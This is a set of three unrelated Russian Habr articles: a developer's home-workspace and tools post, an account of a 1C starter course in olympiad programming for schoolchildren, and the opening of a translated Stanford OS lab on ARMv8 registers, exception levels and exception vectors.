Пока вы дома, самое время вооружиться фотоаппаратом и поделиться видом своего рабочего места (домашнего).
По возможности, описываем:
1. 7 любимых гаджетов.
2. 7 ежедневных программ.
3. 7 интересных открытий, которыми вы часто пользуетесь.
Приоткройте занавесу тайны в своей обители.
PS: Бонус для владельцев ноутбуков — подключаем 2 монитора.
Для начала, приглашаю в свой скромный уголок.
Кто я такой, можно посмотреть в моём профиле. В качестве хобби, активно занимаюсь разработкой web приложений: CRM, планировщик дел и иногда пишу книги. Основные технологии, которыми я кормлюсь: PHP, MySQL, Javascript и Objective-C.
##### История 2х мониторов
Казалось бы, зачем нужно 3 монитора? Если вы по нескольку часов в день программируете web-приложения, то вы меня поймёте:
1. На экране Macbook Air я располагаю окно браузера, в котором открываю: техническую документацию или ищу примеры использования функций, например статьи из [stackoverflow](http://stackoverflow.com/) или любимого Хабра.
2. На среднем мониторе Dell, который может вращаться, я открываю любимый редактор кода [Coda](http://panic.com/coda/). Этот монитор у меня появился после того, как мои глаза стали уставать от третьего монитора Acer, особенно в развёрнутом в портретный режим (особенности матрицы — пиксели размывают в таком режиме). Портретный режим для редактора кода — это находка века. Я всегда могу открыть функцию целиком и без скроллинга найти то, что мне нужно. Попробуйте, понравится.
3. На третьем мониторе Acer, я всегда открываю разрабатываемое приложение в браузере и открываю Developer Tools для отладки и дебаггинга кода Javascript. Многие до сих пор не знают, что в консоли Chrome, можно исполнять свои javascript функции. А некоторые, даже, не знают, что в коде Javascript, можно вывести любую переменную: **console.info**
```
console.info("Значение переменной myFile = ", myFile);
```
4. Когда нужно проверить, как работает код в Windows на очень тормозном ноутбуке (а это, поверьте мне, полезно для оптимизации), я пользуюсь старым ноутбуком с Windows. Тут же я проверяю, как работает передача сообщений Push, между разными клиентами в разных браузерах. Чтобы не мучаться с клавиатурой и малюсеньким тачпадом этого ноутбука, я поставил программу [Synergy](http://synergy-foss.org/ru/), которая позволяет делить одну мышку и клавиатуру между разными компьютерами с разными платформами. Продемонстрирую это на видео:
Подключить средний монитор, позволила замечательная коробочка от [ST Lab (USB2.0 -> HDMI адаптер)](http://www.oldi.ru/catalog/element/0194918/). Если у вас Macbook, то лучше покупать модель U600, так как только она имеет драйверы для MacOS. Вот так она выглядит:
Windows тоже поддерживается, так что знайте, что такое возможно. Лично я, 2 года искал способ подключить к ноутбуку два монитора. За 1600 рублей решил эту проблему. Единственный недостаток, что видео слегка подтормаживает на мониторе подключенном через адаптер. Для написания кода и для хождения по интернету, более чем достаточно.
##### 7 любимых гаджетов, помогающих программировать
###### 1. Наушники с активной шумоизоляцией
 Тут по бокам есть микрофоны, которые улавливают все внешние шумы и в противофазе проецируют их в уши, тем самым гасят. Если соседи начинают бушевать, топать, радоваться приобретению перфоратора, то я совсем не расстраиваюсь. Окружающие тоже знают, что если я в наушниках, то я в программном трансе и пытаюсь удержать в голове огромный хрустальный замок мелочей кода. Вместо музыки, зачастую, включаю звуки природы.
###### 2. Прозрачная кружка термос
 Раньше не знал о их существовании. Это прозрачная кружка с двойными стенками действует как термос. Не обжигает пальцы, даже если внутри кипяток. Чай остаётся горячим даже через 25 минут. В этой же кружке отлично заваривается листовой чай. Я уже забыл, что такое чайные пакетики.
Зачем мне кружка термос? Чтобы не отвлекаться. Я программирую «сессиями» по 25 минут с 5 минутным перерывом.
Каждые 4 "[помидорки](http://mydebianblog.blogspot.ru/2012/08/pomodoro.html)" я завершаю большим перерывом на 25-40 минут. В таком режиме, я могу не уставать очень долгое время. Каждую помидорку я записываю себе в дневник ([система сворачивающихся дневников](http://www.improvement.ru/zametki/dnevnik/)). Дневник веду в своей программе, которую, собственно, сейчас и программирую.
###### 3. Беговая дорожка
Давно заметил, как тяжело настроить себя на плодотворную работу в течении дня. Эмпирическим путём вывел систему, которая позволяет программировать не напрягаясь.
Тут 4 главных принципа в порядке убывания важности:
1. Высыпайся.
2. Хочешь плодотворного дня, программируй несколько минут до завтрака. Как день начнёшь, так и продолжишь.
3. Занимайся физическим трудом. Бегай на дорожке в перерывы между "[помидорками](http://mydebianblog.blogspot.ru/2012/08/pomodoro.html)", ходи на прогулки, разминай спину [простыми упражнениями](http://ymadam.ru/test-na-vitaminy-2.html).
4. Поменьше отвлекайся и избавься от прокрастинации.
###### 4. Массажная накидка на кресло
Для меня это не роскошь, а необходимость, так как даже после 2-3 часов посиделок у меня ноет поясница. Пересидел в своё время.
Эти коврики можно купить за 5-8 т.р. с рук (12т.р. новые).
Там 4 ролика. 2 для шеи и 2 нижних для спины и поясницы, они приятно массируют спину постоянно передвигаясь вверх-вниз. Две красные лампочки, греют поясницу инфракрасным излучением.
Пользуюсь в основном лёжа на полу, так как тряска от массажа отвлекает от кода, поэтому кресло и накидка используются раздельно. Если у вас больная поясница, то рекомендую подобную накладку или неленивую жену.
###### 3 оставшихся гаджета
5. Вентилятор — если вам жарко, холодно и не комфортно, то организм старается внезапно проголодаться, захотеть в туалет, пожелать посмотреть новости в интернете и так далее. Только бы сбежать от опасной обстановки.
6. Подставка под ноги — я использую коробку из под обуви и деревянную полочку. Многие не догадываются, что весь вес тела переложили на «полупопия» и удивляются, почему устают.
7. Робот пылесос. Мы, с женой, своего называем Бендер. У него на борту так и написано: "[Убить всех людей](http://www.youtube.com/watch?v=Yu_jByrSEco)". Экономит прорву времени и сил.
##### 7 любимых программ «маковода»
1. [Coda2](http://panic.com/coda/) — редактор кода, который очень функционален и даже, умеет работать с git и пушить на github
2. [Github mac](http://mac.github.com/) — программа позволяет работать с Github, синхронизируя локальные изменения с сервером
3. [TimingApp](http://timingapp.com/) — программа сама считает время, которое я трачу за компьютером, следя за открываемыми мной программами. Очень мотивирует и не даёт мне себя обманывать
4. Mindmap — карты ума. Кто ещё не пользуется, очень рекомендую. Программа может быть любая. Лично я, просто влюбился в iPad версию [iThoughts HD](http://www.ithoughts.co.uk/iThoughtsHD/Welcome.html).
5. [Sketch](http://www.bohemiancoding.com/sketch/) — векторный графический редактор. Простой как автомат Калашникова и так же эффективен в моих задачах.
6. [vk Play](http://vk.com/vkplay_app) — музыка из вКонтакта. Единственный плеер, который может привязываться к клавишам проигрывания на клавиатуре
7. 4tree — программа для управления делами, заметками, календарём, файлами, фотографиями. Работает в браузере, в том числе, в оффлайн режиме. В редактор можно вставлять картинки из буфера обмена. Можно хранить файлы. Любое дело из дерева можно перетащить в календарь. Есть SMS напоминания. Любую ветку дерева, можно расшарить другу и редактировать вместе. Есть сворачивающийся дневник, таймер, в том числе таймер «Pomodorro». Графический редактор встроен, вы можете подписать любую картинку. Дерево можно редактировать в режиме карты ума. Быстрое добавление дел понимает русский язык. Поиск работает мгновенно. Все данные хранятся в базе данных браузера и синхронизируются с сервером. В редакторе можно создавать свою Wiki. Заметками можно делиться генерируя короткую ссылку. Активно пользуюсь, но ссылки пока не даю, так как мы с коллегами на стадии тестирования и создания iOS приложения. Можете записаться на alpha тестирование через личку.
#### 7 интересных открытий, которыми часто пользуюсь
1. В Chrome можно реализовать вставку картинок из буфера обмена при помощи [Javascript](http://stackoverflow.com/questions/6333814/how-does-the-paste-image-from-clipboard-functionality-work-in-gmail-and-google-c). Если вы, на своём сайте предоставляете пользователям редактор, то реализуйте эту функцию. Все картинки к этому посту были вставленны через буфер обмена в редактор 4tree и автоматически залиты на [Amazon S3](http://aws.amazon.com/).
2. Пользуйтесь [подкастами](http://lurkmore.to/%D0%9F%D0%BE%D0%B4%D0%BA%D0%B0%D1%81%D1%82). Там очень много интересных тем и когда вы за рулём, их слушать интереснее, чем радио, недалеко ушедшее от зомбоящика.
3. Научите свои web приложения работать оффлайн. Для этого изучите [manifest](http://www.html5rocks.com/ru/tutorials/appcache/beginner/), [библиотеку](http://git.yathit.com/ydn-db/wiki/Home) работы с всеми возможными базами данных (IndexedDB, WebSQL, LocalStorage). Храните пользовательские данные в LocalStorage, а не в Cookies.
4. Один из самых безглючных и дешёвых хостингов в германии [fornex.com](http://fornex.org). Пользуюсь больше года. Говорят по русски.
5. Изучите [Amazon S3](http://aws.amazon.com/) и аналоги. Хранить пользовательские файлы на своём сервере, зачастую, дороже и не безопаснее.
6. Если вам нужен быстрый редактор на javascript, изучите [jsRedactor](http://imperavi.com/redactor/), он меня никогда не подводил и имеет понятные внутренности, доступные для модификации. Отлично работает на iOS и даже вставляет фотографии.
7. Изучите [Git](http://githowto.com/), он очень прост и обеспечивает спокойный сон программисту. Что бы вы не натворили со своим кодом, вы всегда имеете резервную копию.
В качестве заключения, желаю вам удачи в таком интересном деле, где вы испытываете микро-победы каждый день. Мало кому удаётся создавать столько нового, интересного и полезного, как нам Хабражителям.
А теперь, ваши фотографии рабочих мест (которые вы можете загрузить через [habrastorage](http://habrastorage.org/)):
|
https://habr.com/ru/post/182606/
| null |
ru
| null |
# Стартовый модуль курса «Алгоритмы. Олимпиадное программирование» или Год в пути
На старт!
=========
Если на велосипеде ехать целый год (cм. статью 2014г.: [Желтый велосипед с красными колесами или еще один курс алгоритмов от фирмы «1С»](http://habrahabr.ru/company/1c_club/blog/235229/)), то можно обогнуть Землю дважды. Скажем, крестом: сначала по меридиану 37.57571, потом по [параллели 55.81842](http://www.metro-map.ru/gps_metro_stations.php) и вернуться в главное здание фирмы «1С» на Тимирязевской, с которого все и началось. (Математикам: да, по параллели короче, чем по экватору получится; биологам: да, с остановками на отдых получится гораздо больше года; занудам: да, да, по океану плыть).
Стоит остановиться и подвести итоги нашего путешествия. Но начнем с самого начала.
Даже еще раньше — вернемся на два года назад.
В 2013г., к 1С: Летней школе был написан Первый Модуль (12 занятий) нового [курса по алгоритмам для школьников](http://club.1c.ru/#!/courses/4/). Он получился вполне хорошим, но сложным. По нему сложно было заниматься без предварительной подготовки, изучения базового синтаксиса языка и понимания основных алгоритмических конструкций. Предварительный [курс по Java в 1С: Клубе программистов](http://club.1c.ru/#!/courses/1/) — (это введение в проектное программирование) проблему практически не решал — все-таки первую игру по основам Java пишут при большой помощи преподавателя и решают больше задачи дизайна, практически не сталкиваясь с разработкой именно алгоритмов. Но разработка курса продолжалась — были написаны и апробированы второй и третий модули. В планах стояла разработка четвертого…
И снова — 1C: Летняя школа, уже 2014 года.
Мне поставлена задача: нужно сделать так, чтобы сейчас занять совсем начинающих детей, но уже интересующихся алгоритмическим олимпиадным программированием. А осенью к ним донабрать еще, чтобы «старые» с «новыми» — все вместе занимались?
Решение: нужно начать «с нуля» и двигаться очень медленно. И получилось все это объемом… аккуратно еще в один модуль.
И все встало на свои места: в курсе появился Стартовый — нулевой модуль (программисты же должны нумеровать с нуля!) — материал для быстрого и простого вхождения в настоящий курс алгоритмов.
Как и в остальных, в Стартовом модуле есть не только Задачи, но Подсказки и Разборы. Учебное пособие можно использовать и как рабочую тетрадь, в нем есть специальные места для заполнения карандашом, так и в качестве самоучителя: в пособии есть ответы на все вопросы. Даже для простейших программ приводятся фрагменты решения.
С седьмого класса или даже раньше
=================================
Вообще говоря, в некоторых случаях обучение можно сразу начинать с занятий по Первому модулю, но именно занятия по Стартовому должны обеспечить «плавность вхождения» и выравнивание группы, что очень важно.
Темы, изучаемые в Стартовом модуле, могут быть вполне известны учащимся «в теории» по предыдущим курсам по программированию. Задача Стартового модуля состоит, конечно, не в том, чтобы «повторять» изученные ранее алгоритмические конструкции в течение полугода, а в том, чтобы научится правильно и быстро их применять для разработки алгоритмов.
В восприятии ребенка, изучающего программирование, цикл для организации движения объекта-картинки по экрану и цикл для определения простоты числа — абсолютно различны. Отзыв об алгоритмическом программировании "…мой мозг не предназначен для решения задач по алгоритмике, он способен на написание кода для игр..." кажется забавным, однако это на самом деле обычная, естественная ситуация. Собственно, задача преподавания Стартового модуля — изменить такое состояние дел.
О том, что нужно всем, но на что у всех не хватает времени
Именно в Стартовом модуле уделяется много времени вещам, на которые обычно на занятиях не хватает времени или они традиционно считаются тривиальными, естественными, хотя это не так. Стиль — очень важно научится правильно расставлять в коде пробелы, отступы, правильно называть переменные. Когда стоит использовать ту или иную алгоритмическую конструкцию, и наоборот, что часто важнее — когда не стоит. Какое условие поставить в цикл, стоит ли использовать равенство или лучше строгое неравенство? Что лучше: цепочка из if-else или switch-case? break и continue: когда это зло, а когда полезный инструмент?
Если этого не делать, у учеников может сложиться (и часто складывается) собственный «стиль» программирования, и «переучить» их в этом случае бывает очень сложно. Например, ребенок самостоятельно «открыл» возможность выхода из цикла примерно таким образом:
```
for (int i = 0; i < 10; i++) {
if (…) i = 11;
…
}
```
Один раз «сработало». Система «одобрила» и все – во всех остальных программах выход из цикла осуществляется так. Очень важная задача преподавателя, ведущего Стартовый модуль – обнаруживать такие ситуации и не допускать, чтобы подобные подходы превращались в навык.
Алгоритмические гонки
=====================
И, конечно, соревновательность. Олимпиадное программирование — это все таки спорт.
Обучение в Стартовом устроено таким образом: первая «олимпиада» сразу после первого ознакомления с условным оператором и циклами. Слово «олимпиада» поставлено в кавычки, потому что содержит совсем простые задачи с условиями по тематике 1С. Формулировки задач забавны, а решение – стандартные простейшие алгоритмы.
Например — самая простая «олимпиадная» задача:
«Программисты 1С в перерыве в буфете решили сыграть в азартную игру на бутерброды. Они пишут тайно какие-нибудь числа на салфетках и отдают буфетчице. Буфетчица отдает все бутерброды первому, если его число больше, или второму, если у первого оказывается меньше. Но если вдруг числа окажутся одинаковыми — оба бутерброда остаются в буфете. По данным числам на салфетках выведите номер сытого программиста или 0, если оба остались голодными»
(надо отметить, что в 1С буфет играет огромную роль в жизни будущих программистов)
Дети с большим удовольствием обнаруживают, что это фактически обычный поиск максимума. Это интересно тем, что ребенок «участвует в олимпиаде» практически сразу в начале изучения курса и добивается успеха.
По серпантину
=============
Обучение идет по спирали. Сначала самые необходимые вещи, потом сразу олимпиадное занятие. Далее более обстоятельное обсуждение условного и циклических операторов. Для тех, кто плохо понял циклы на третьем занятии, будет комфортно «вернуться» к условиям на шестом и седьмом. Однако, это совсем не простые задачи. Например, проверить возможность упаковать две прямоугольных коробки в третью, дже с ограничением по высоте — коробки нельзя класть на бок, но можно ставить одну на другую — технически очень сложная задача.
На последних занятиях – функции (это обеспечит хорошее понимание рекурсии) и в заключение Финальный контест. Все задачи, которые предлагается решить участникам по олимпиадным правилам — совсем без подсказок — просты, но взяты из реальных олимпиад.
Красота!
========
Благодаря тому, что Стартовый создавался последним с учетом накопленного опыта, он, как и первая часть Звездных войн посте третьей и четвертой, выглядит очень эффектно.
Мы раскрасили его тематическими эдвайсами и цитатами из Типичного программиста, добавили боковые колонтитулы, которые позволяют пролистывая быстро находить нужные части пособия, и сам стиль изложения получился веселым.
Можно сказать, даже немного хулиганским, но именно этот стиль ценят и любят младшие школьники (для учителей программирования 7-8 класс — это младшие).
Web-часть курса и Пособие по Первому модулю в pdf выложены на [informatics.msk.ru](http://informatics.mccme.ru/course/view.php?id=427).
там же есть pdf [нескольких уроков Пособия Стартового Модуля](http://informatics.mccme.ru/file.php/427/MAStartDemo.pdf).
И, в заключение:
Трек за год
===========
Немного о текущих результатах. Они небольшие, но ощутимые. Сформировано 7 групп, общей численностью 80+ человек. Ребята подрастают, через год лучшие из них — попадут [в нашу сборную](http://habrahabr.ru/company/1c_club/blog/267173/), а там, глядишь, им покорится и Всерос ).
Автор статьи: Ильин Владимир Владимирович ([email protected]), учитель, Школа 179 МИОО г. Москвы
|
https://habr.com/ru/post/268957/
| null |
ru
| null |
# Операционные системы с нуля; уровень 3 (младшая половина)
В этой лабе мы будем реализовывать возможность запуска пользовательских программ. Т.е. процессы и всю зависимую инфраструктуру. В начале разберёмся как переключаться из привилегированного кода, как переключать контексты процессов. Затем реализуем простенький round-robin планировщик, системные вызовы и управление виртуальной памятью. В конце концов выведем наш шелл из пространства ядра в пространство пользователя.
[оригинал](https://web.stanford.edu/class/cs140e/assignments/3-spawn/)
[Нулевая лаба](https://habrahabr.ru/post/349248/)
Первая лаба: [младшая половина](https://habrahabr.ru/post/351082/) и [старшая половина](https://habrahabr.ru/post/351774/)
Вторая лаба: [младшая половина](https://habrahabr.ru/post/352414/) и [старшая половина](https://habrahabr.ru/post/353024/)
Полезности
----------
* [Книга по Rust v2](https://doc.rust-lang.org/book/second-edition/). Вся необходимая инфа по Rust, необходимая в рамках этого курса.
* [Документация стандартной библиотеки Rust](https://doc.rust-lang.org/nightly/std/)
* [Документация BCM2837](https://web.stanford.edu/class/cs140e/docs/BCM2837-ARM-Peripherals.pdf). Наша модифицированная версия документации BCM2835 с исправлениями для BCM2837.
* [ARMv8 Reference Manual](https://web.stanford.edu/class/cs140e/docs/ARMv8-Reference-Manual.pdf). Справочное руководство по архитектуре ARMv8. Это цельное руководство, охватывающее всю архитектуру в целом. Для конкретной реализации архитектуры см. Руководство ARM Cortex A53.
* [ARM Cortex-A53 Manual](https://web.stanford.edu/class/cs140e/docs/ARM-Cortex-A53-Manual.pdf). Руководство для конкретной реализации архитектуры ARMv8 (v8.0-A). Именно это используется в малинке.
* [Руководство программиста ARMv8-A](https://web.stanford.edu/class/cs140e/docs/ARMv8-A-Programmer-Guide.pdf). Руководство высокого уровня по программированию процесса ARMv8-A.
* [AArch64 Procedural Call Standard](https://web.stanford.edu/class/cs140e/docs/AArch64-Procedure-Call-Standard.pdf)
Стандартная стандартная процедура для архитектуры AArch64.
* [ARMv8 ISA Cheat Sheet](https://web.stanford.edu/class/cs140e/docs/AArch64-ISA-Cheat-Sheet.pdf). Краткое описание инструкций сборки ARMv8, представленных в этой лабе. За авторством Griffin Dietz.
Фаза 0: Начало работы
---------------------
Как и в прошлых частях, для гарантированной работы требуется:
* Машина с современным Юниксом: Linux, BSD или macOS.
* 64-битная ОС.
* Наличие USB порта.
* Установлено ПО из прошлых выпусков.
### Получение кода
В репе `3-spawn` нет ничего кроме вопросиков, но стащить никто не мешает:
```
git clone https://web.stanford.edu/class/cs140e/assignments/3-spawn/skeleton.git 3-spawn
```
После этого, тащемто бесполезного, дела структура каталогов должна выглядеть примерно так:
```
cs140e
├── 0-blinky
├── 1-shell
├── 2-fs
├── 3-spawn
└── os
```
А вот внутри `os`-репы переключиться на ветку `3-spawn` будет таки необходимо:
```
cd os
git fetch
git checkout 3-spawn
git merge 2-fs
```
Скорее всего вы опять увидите конфликты слияния. Что-то вроде такого:
```
Auto-merging kernel/src/kmain.rs
CONFLICT (content): Merge conflict in kernel/src/kmain.rs
Automatic merge failed; fix conflicts and then commit the result.
```
Конфликты слияния надобно будет разрешить вручную, меняя файл `kmain.rs`. При этом надо убедиться, что вы сохранили все свои изменения из лабы 2. После устранения конфликтов добавьте файлы `git add` и закоммитите это всё. Для того, чтоб получить больше инфы по этой теме — смотрите [туториал на githowto.com](https://githowto.com/ru/resolving_conflicts).
### Документация ARM
В этом задании мы будем постоянно ссылаться на три оффициальных документа по ARM. Вот эти три:
1. [ARMv8 Reference Manual](https://web.stanford.edu/class/cs140e/docs/ARMv8-Reference-Manual.pdf)
Это оффициальное справочное руководство по архитектуре ARMv8. Цельное руководство, которое охватывает всю архитектуру целиком и полностью. Для конкретной реализации этой архитектуры в проце малинки нам потребуется мануал №2. Мы будем ссылаться на разделы этого большого мануала по ARMv8 по средством примечаний вида ([ref](https://web.stanford.edu/class/cs140e/docs/ARMv8-Reference-Manual.pdf): C5.2). В данном случае это означает, что надо посмотреть в [ARMv8 Reference Manual](https://web.stanford.edu/class/cs140e/docs/ARMv8-Reference-Manual.pdf) в разделе C5.2.
2. [ARM Cortex-A53 Manual](https://web.stanford.edu/class/cs140e/docs/ARM-Cortex-A53-Manual.pdf)
Это уже мануал по вполне конкретной реализации ARMv8 (v8.0-A), которая и используется в малинке. На этот мануал мы будем ссылаться примечаниями вида ([A53](https://web.stanford.edu/class/cs140e/docs/ARM-Cortex-A53-Manual.pdf): 4.3.30).
3. [ARMv8-A Programmer Guide](https://web.stanford.edu/class/cs140e/docs/ARMv8-A-Programmer-Guide.pdf)
Теперь перед нами достаточно высокоуровневый мануал по программированию ARMv8-А. На него мы будем ссылаться примечаниями вида ([guide](https://web.stanford.edu/class/cs140e/docs/ARMv8-A-Programmer-Guide.pdf): 10.1)
Крайне рекомендую скачать эти мануалы к себе на диск. Так будет проще открывать их каждый раз. Особенно первый ибо оно весьма и весьма большой. Кстати об этом.
Как это вообще читать? Нам не требуется читать его целиком и полностью. По этому для начала крайне важно знать, чего мы хотим найти в этом мануале. Оный мануал имеет хорошую годную структуру. Он разбит на несколько частей. Нас интересует AArch64 и не интересует слишком глубокое погружение (мы же не производители процессоров). Значит нам не интересны многие главы от слова совсем. По факту нам достаточно частей A, B и некоторой информации из C и D. В первых двух частях описываются общие понятия применительно к архитектуре и к AArch64 в частности. В части C описывается набор инструкций. Эту часть мы будем использовать как справочную по самым основным инструкциям и регистрам (например SIMD нас не интересует сейчас). В части D описываются некоторые детали AArch64. В частности про прерывания и всё такое.
Фаза 1: ARM and a Leg (Рука и нога)
-----------------------------------
В этой фазе мы будем изучать архитектуру ARMv8, переключаться на менее привилегированный уровень, настраивать векторы исключений процессора, обрабатывать прерывание таймера и прерывание точек останова. Изучим уровни исключений в архитектуре ARM. Главным образом нам интересно как эти самые исключения и прерывания ловить.
### Субфаза A: Обзор ARMv8
В этой подфазе мы будем изучать архитектуру ARMv8. Тут мы не будем писать какой либо код, но тут есть вопросы для самопроверки.
ARM (Acron RISC Machine) — это архитектура микропроцессоров с более чем 30 летней историей. На текущий момент есть восемь версий этой архитектуры. Последняя ARMv8 была представлена в 2011 году. Чип BCM2837 от Broadcom содержит в себе ядра ARM Cortex-A53, которые являются ядрами, основанными на ARMv8.0. Cortex-A53 (и подобные) — это *реализация* архитектуры. И это та реализация, которую мы будем изучать во всей этой части.
> **Микропроцессоры ARM доминируют на мобильном рынке.**
>
>
>
> ARM это примерно 95% всего мирового рынка смартфонов и 100% флагманских смартфонов. Включая Apple iPhone или Google Pixel.
До сих пор мы старались избегать делатей, относящихся к архитектуре процессора. За нас всё делал Rust. Для того, чтоб у нас работали процессы в юзерспейсе, нам потребуется провести некоторое количество работ на низком уровне. Программирование на проце напрямую потребует ознакомления с ассемблером этой архитектуры и со всеми связанными концепциями вокруг этого. Мы начнём с обзора архитектуры и разберёмся с самымми основными ассемблерными инструкциями.
#### Регистры
В архитектуре ARMv8 есть следующие регистры ([ref](https://web.stanford.edu/class/cs140e/docs/ARMv8-Reference-Manual.pdf): D1.2.1):
* `r0`...`r30` — 64-битные регистры общего назначения. Доступ к регистрам осуществляется по псевдонимам (алиасам). Регистры `x0`...`x30` являются алиасами для 64-битной версии (т.е. полной). Ещё есть алиасы `w0`...`w30`. По последним осуществляется доступ к нижним 32 битам регистра.
* `lr` — 64-битный ссылочный регистр. Алиас для `x30`. Используется для хранения адреса перехода. Инструкция `bl` сохраняет текущий счётчик команд (PC) в `lr` и переходит на адрес `addr`. Обратную работу будет делать инструкция `ret`. Она возьмёт адрес из `lr` и присвоит его PC.
* `sp` — указатель стека. Нижние 32 бита доступны по алиасу `wsp`. Указатель стека всегда должен быть выровнен по 16 байт.
* `pc` — програмный счётчик. В этот регистр нельзя писать напрямую, но можно прочитать. Он обновляется на инструкциях перехода, при вызове прерываний, при возврате.
* `v0`...`v31` — 128-битные SIMD и FP регистры. Эти используются для векторных SIMD операций и для операций с плавающей запятой. Эти регистры доступны по алиасам. `q0`...`q31` — алиасы для всех 128 бит регистра. Регистры `d0`...`d31` это нижние 64 бита. По мимо этого есть алиасы для нижних 32, 16 и 8 бит по префиксам `s`, `h` и `b` соотвесвенно.
* `xzr` — нулевой регистр. Это псевдорегистр, который может быть или не быть хардварным регистром. Всегда содержит `0`. Этот регистр можно только читать.
Есть ещё *много регистров специального назначения*. О них мы поговорим чуть позже.
#### PSTATE
В любой момент времени проц ARMv8 даёт возможность получить доступ к состоянию программы через псевдорегистр по имени PSTATE ([ref](https://web.stanford.edu/class/cs140e/docs/ARMv8-Reference-Manual.pdf): D1.7). Это не обычный регистр. Его нельзя прочитать или записать в него напрямую. Вместо есть несколько регистров специального назначения, которые можно использовать для того, чтоб оперировать с частями псевдорегистра PSTATE. На ARMv8.0 это:
* `NZCV` — флаги состояния
* `DAIF` — битовая маска исключений, которая используется для того, чтоб включать и выключать эти самые исключения
* `CurrentEL` — текущий уровень исключений (будет описан позже)
* `SPSel` — селектор указателей стека (их на самом деле несколько)
Подобные регистры принадлежат к классу системных или специальных регистров ([ref](https://web.stanford.edu/class/cs140e/docs/ARMv8-Reference-Manual.pdf): C5.2). Обычные регистры можно прочитать из оперативной памяти при помощи `ldr` или записать в память при помощи `str`. Системные регистры так использовать не получится. Вместо этого требуется использовать специальные команды `mrs` и `msr` ([ref](https://web.stanford.edu/class/cs140e/docs/ARMv8-Reference-Manual.pdf): C6.2.162 — C6.2.164). Например для того, чтоб прочитать `NZCV` в `x1` нам следует использовать следующую запись:
```
mrs x1, NZCV
```
#### Состояние выполнения
В любой момент времени проц ARMv8 выполняется с определённым *состоянием выполнения* (execution state). Всего есть ровно два таких состояния. AArch32 — режим совместимости с 32-битным ARMv7. И AArch64 — 64-битный режим ARMv8 ([guide](https://web.stanford.edu/class/cs140e/docs/ARMv8-A-Programmer-Guide.pdf): 3.1). Мы будем работать только с AArch64.
#### Безопасный режим
В любой момент времени наш проц исполняется с определённым *состоянием безопасности* (security state) (guide: 3). Эту фигню можно искать ещё и по security mode или по security world. Всего два состояния: *secure* и *non-secure*. Т.е. безопасное и обычное. Мы будем работать целиком в обычном режиме.
#### Уровни исключений
По мимо этого есть ещё и уровни исключений (exception level) ([guide](https://web.stanford.edu/class/cs140e/docs/ARMv8-A-Programmer-Guide.pdf): 3). Каждый уровень исключений соответствует определённому уровню привилегий. Чем выше уровень исключений, тем больше привилегий получает программа, запущенная на этом уровне. Всего есть 4 уровня:
* **EL0 (user)** — Обычно используется для запуска пользовательских прог.
* **EL1 (kernel)** — Привилегированный режим. Обычно тут запускается ядро операционной системы.
* **EL2 (hypervisor)** — Обычно используется для запуска гипервизоров виртуальных машин.
* **EL3 (monitor)** — Обычно используется для низкоуровневой прошивки.
Процессор Raspberry Pi загружается в EL3. На этом этапе запускается прошивка, предоставляемая фондом Raspberry Pi. Прошивка переключает процессор на EL2 и запускает наш файлик `kernel8.img`. Таким образом наше ядро запускается с уровня EL2. Чуть позже мы займёмся переключением из EL2 на EL1, чтоб наше ядро работало на соответствующем уровне исключений.
#### Регистры ELx
Некоторое количество системных регистров, таких как `ELR`, `SPSR` и `SP`, дублируются для каждого уровня исключений. При этом к их именам ставится суффикс `_ELn`, где `n` — уровень исключений, к которому этот регистр относится. Например `ELR_EL1` является *регистром ссылок исключений* для уровня EL1, а `ELR_EL2` — тоже самое, но для уровня EL2.
Мы будем использовать суффикс `x` (например в `ELR_ELx`), когда надо сослаться на регистр из целевого уровня исключения `x`. Целевой уровень исключений — это уровень исключений, на который CPU переключится (если необходимо) при запуске вектора исключения.
Мы будем использовать суффикс `s` (например в `SP_ELs`, когда надо сослаться на регистр в исходном уровне исключения `s`. Исходный уровень исключения — это уровень исключения, на котором CPU выполнялся до возникновения исключения.
#### Переключение между уровнями исключений
Существует ровно один механизм увеличения уровня исключения и ровно один механизм для уменьшения уровня исключения.
Для переключения с более высокого уровня на более низкий уровень (уменьшение привилегий), работающая программа должно выполнить *возврат* (return) из этого уровня исключения при помощи команды `eret` ([ref](https://web.stanford.edu/class/cs140e/docs/ARMv8-Reference-Manual.pdf): D1.11). При выполнении команды `eret` для уровня `ELx` процессор:
* Установит PC на значение из спец-регистра `ELR_ELx`.
* Установит PSTATE на значение из спец-регистра `SPSR_ELx`.
Регистр `SPSR_ELx` ([ref](https://web.stanford.edu/class/cs140e/docs/ARMv8-Reference-Manual.pdf): C5.2.18) по мимо прочего содержит в себе тот уровень исключений, на который надо перейти. Кроме того стоит обратить внимание на следующие дополнительные последствия смены уровней исключений:
* При возврате к `ELs`, `sp` устанавливается в `SP_ELs` если `SPSR_ELx[0] == 1` или в `SP_EL0` если `SPSR_ELx[0] == 0`.
Переход от более низкого уровня к более высокому происходит только в результате исключения ([guide](https://web.stanford.edu/class/cs140e/docs/ARMv8-A-Programmer-Guide.pdf): 10). Если не настроено иначе, то проц будет перехватывать исключения для следующего уровня. Например в случае, если прерывание получено во время работы в EL0, то проц переключится на EL1 для обработки исключения. При переходе на `ELx` проц будет делать следующее:
* Выключит (замаскирует) все исключения и прерывания: `PSTATE.DAIF = 0b1111`.
* Сохранит `PSTATE` и всякое в `SPSR_ELx`.
* Сохранит адрес возврата в `ELR_ELx` ([ref](https://web.stanford.edu/class/cs140e/docs/ARMv8-Reference-Manual.pdf): D1.10.1).
* Установит `sp` на `SP_ELx` если `SPSel` равен `1`.
* Установит синдром исключения (опишем это позже) в `ESR_ELx` ([ref](https://web.stanford.edu/class/cs140e/docs/ARMv8-Reference-Manual.pdf): D1.10.4).
* Установит `pc` на адрес, соответствующий вектору исключения (опишем чуть позже).
Обратите внимание, что регистр синдрома исключения действителен только для *синхронных* исключений. Все регистры общего назначения и регистры SIMD/FP будут содержать значения, которые они имели при возникновении исключения.
#### Векторы исключений
При возникновении исключений CPU передаёт управление в то место, где располагается вектор исключений ([ref](https://web.stanford.edu/class/cs140e/docs/ARMv8-Reference-Manual.pdf): D1.10.2). Существует 4 типа исключений, каждый из которых содержит 4 возможных источника исключений. Т.е. всего 16 векторов исключений. Вот четыре типа исключений:
* **Synchronous** — исключения, вызванные инструкциями типа `svc` или `brk`. Ну и вообще для всяких событий, в которых повинен программер.
* **IRQ** — асинхронные прерывания из внешних источников.
* **FIQ** — асинхронные прерывания из внешних источников. Версия для быстрой обработки.
* **SError** — прерывания типа "system error".
А вот четыре источника прерываний:
* Текущий уровень исключений при `SP = SP_EL0`
* Текущий уровень исключений при `SP = SP_ELx`
* Более низкий уровень исключений, на котором выполняется AArch64
* Более низкий уровень исключений, на котором выполняется AArch32
